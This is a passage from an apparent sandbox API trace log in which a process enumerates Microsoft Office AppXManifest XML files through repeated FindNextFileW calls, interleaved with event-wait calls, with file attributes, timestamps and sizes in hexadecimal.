| out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0230.722] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.722] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", cAlternateFileName="APA05A~1.XML")) returned 1 [0230.723] ResetEvent (hEvent=0x2b8) returned 1 [0230.723] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.729] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", cAlternateFileName="APAD0B~1.XML")) returned 1 [0230.729] ResetEvent (hEvent=0x2b8) returned 1 [0230.729] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.765] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", cAlternateFileName="APEDE2~1.XML")) returned 1 [0230.765] ResetEvent (hEvent=0x2b8) returned 1 [0230.765] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.769] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP51DE~1.XML")) returned 1 [0230.769] ResetEvent (hEvent=0x2b8) returned 1 [0230.769] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.775] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~4.XML")) returned 1 [0230.775] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCEE5~1.XML")) returned 1 [0230.776] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP557F~1.XML")) returned 1 [0230.776] ResetEvent (hEvent=0x2b8) returned 1 [0230.776] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.779] ResetEvent (hEvent=0x2b8) returned 1 [0230.780] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.791] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE193~1.XML")) returned 1 [0230.791] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APC1E2~1.XML")) returned 1 [0230.791] ResetEvent (hEvent=0x2b8) returned 1 [0230.792] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.804] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC422~1.XML")) returned 1 [0230.804] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2169~1.XML")) returned 1 [0230.804] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP7BBA~1.XML")) returned 1 [0230.804] ResetEvent (hEvent=0x2b8) returned 1 [0230.804] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.810] ResetEvent (hEvent=0x2b8) returned 1 [0230.810] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.814] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", cAlternateFileName="APEF10~1.XML")) returned 1 [0230.814] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", cAlternateFileName="AP5F49~1.XML")) returned 1 [0230.814] ResetEvent (hEvent=0x2b8) returned 1 [0230.814] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.818] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", cAlternateFileName="APB0FE~1.XML")) returned 1 [0230.818] ResetEvent (hEvent=0x2b8) returned 1 [0230.818] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.824] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8AF5~1.XML")) returned 1 [0230.824] ResetEvent (hEvent=0x2b8) returned 1 [0230.824] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.017] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", cAlternateFileName="APF26A~1.XML")) returned 1 [0231.017] ResetEvent (hEvent=0x2b8) returned 1 [0231.017] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.180] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC553~1.XML")) returned 1 [0231.180] ResetEvent (hEvent=0x2b8) returned 1 [0231.180] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.185] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP9FA1~1.XML")) returned 1 [0231.185] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP330B~1.XML")) returned 1 [0231.186] ResetEvent (hEvent=0x2b8) returned 1 [0231.186] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.234] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0231.234] ResetEvent (hEvent=0x2b8) returned 1 [0231.234] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.244] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6206~1.XML")) returned 1 [0231.244] ResetEvent (hEvent=0x2b8) returned 1 [0231.244] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.250] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APD1EA~1.XML")) returned 1 [0231.251] ResetEvent (hEvent=0x2b8) returned 1 [0231.251] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.261] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6EFE~1.XML")) returned 1 [0231.261] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", cAlternateFileName="APB63F~1.XML")) returned 1 [0231.261] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", cAlternateFileName="APB913~1.XML")) returned 1 [0231.261] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP4637~1.XML")) returned 1 [0231.262] ResetEvent (hEvent=0x2b8) returned 1 [0231.262] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.267] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2FE2~1.XML")) returned 1 [0231.267] ResetEvent (hEvent=0x2b8) returned 1 [0231.267] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.290] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP2C4B~1.XML")) returned 1 [0231.290] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APF00A~1.XML")) returned 1 [0231.290] ResetEvent (hEvent=0x2b8) returned 1 [0231.291] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.293] ResetEvent (hEvent=0x2b8) returned 1 [0231.293] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.297] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~2.XML")) returned 1 [0231.297] ResetEvent (hEvent=0x2b8) returned 1 [0231.297] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.300] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP202C~1.XML")) returned 1 [0231.301] ResetEvent (hEvent=0x2b8) returned 1 [0231.301] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.304] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", cAlternateFileName="APBC30~1.XML")) returned 1 [0231.304] ResetEvent (hEvent=0x2b8) returned 1 [0231.304] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.310] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCB35~1.XML")) returned 1 [0231.310] ResetEvent (hEvent=0x2b8) returned 1 [0231.311] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.318] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", 